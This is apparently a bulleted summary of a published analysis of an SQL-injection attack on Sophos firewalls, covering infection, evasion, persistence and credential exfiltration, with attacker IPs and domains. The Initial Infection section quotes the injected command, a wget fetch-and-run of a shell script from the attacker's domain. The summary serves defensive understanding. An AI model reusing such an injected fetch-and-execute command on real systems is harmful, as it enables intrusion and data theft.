- An SQL injection vulnerability, in some Sophos firewall products, that allowed remote code execution, was used to orchestrate a coordinated attack on Sophos and its customers.
- The attack, which used a chain of Linux shell scripts that downloaded ELF binary executable malware, was purportedly carried out to steal sensitive information from the firewall.
- The binary had the capabilities to steal:
- The firewall’s license and serial number
- Email addresses of user accounts that were stored on the device and the firewall admin’s primary email.
- Firewall users’ names, usernames, encrypted form of their passwords, and the salted SHA256 hash of the admin account’s password.
- User IDs permitted to use the firewall for SSL VPN and accounts that have permission to use a “clientless” VPN connection.
- After fixing the vulnerability, Sophos shared a detailed analysis of the attack and the malware.
Initial Infection
- An attacker discovered, and exploited, a zero-day SQL injection remote code execution vulnerability.
- This allowed the attacker to insert the following command into a database table: ||cd /tmp/ && wget hxxps://sophosfirewallupdate[.]com/sp/install.sh -O /tmp/x.sh && chmod 777 /tmp/x.sh && sh /tmp/x.sh||
- Once inserted, the command downloaded a shell script into the /tmp directory.
- And the script executed a series of SQL commands and dropped additional files into the virtual file system.
Execution and Defence Evasion
- The script initially ran Postgres SQL commands to modify or the values of certain tables in the database.
- However, it backfired, and the attacker’s SQL command line appeared on the firewall’s admin panel.
- The x.sh downloaded some other scripts to connect to sophosfirewallupdate c2c server.
- It downloaded and ran an ELF binary file. After which, it deleted itself from the device filesystem.
- In the process list, the program name is: cssconf.bin, which resembles the legitimate process: cscconf.bin.
- While the binary was in memory, it repeated a series of tasks every 3 to 6 hours.
- It first tried to make a connection to 43.229.55.44.
- If not, it resolved the IP for sophosproductupdate[.]com to download another ELF binary Sophos.dat.
- The other two shell scripts, retrieved by initial x.sh script, acts as a backup if the previous steps fail.
Persistence
- The script dropped at least two other shell scripts into the /tmp directory and modified at least one shell script that is part of the firewall’s OS to add a set of commands to the end of the script.
- This last script served as a roundabout persistence mechanism for the malware by modifying services to ensure it ran every time the firewall booted.
Exfiltration
- The ELF binary, Sophos.dat on the remote server, was saved to the filesystem as 2own.
- This binary ran operating system commands to steal data from database tables stored in the firewall.
- The malware concatenated the data to a file named Info.xg, stored temporarily on the firewall.
- The binary tries to retrieve the public IP of a firewall using ipconfig.me, if not, it queries checkip.dyndns.org.
- It then queried data storage areas on the firewall to acquire information about the firewall and its users. This included the IP address allocation permissions, the OS version, CPU type, amount of memory, etc.
- It then compressed the information stored in Info.xg and used OpenSSL to encrypt the archive file.
- The encrypted file was to be uploaded to a machine at the IP: 38.27.99.69.
- The malware finally cleaned up its tracks by deleting the files temporarily created to collect information.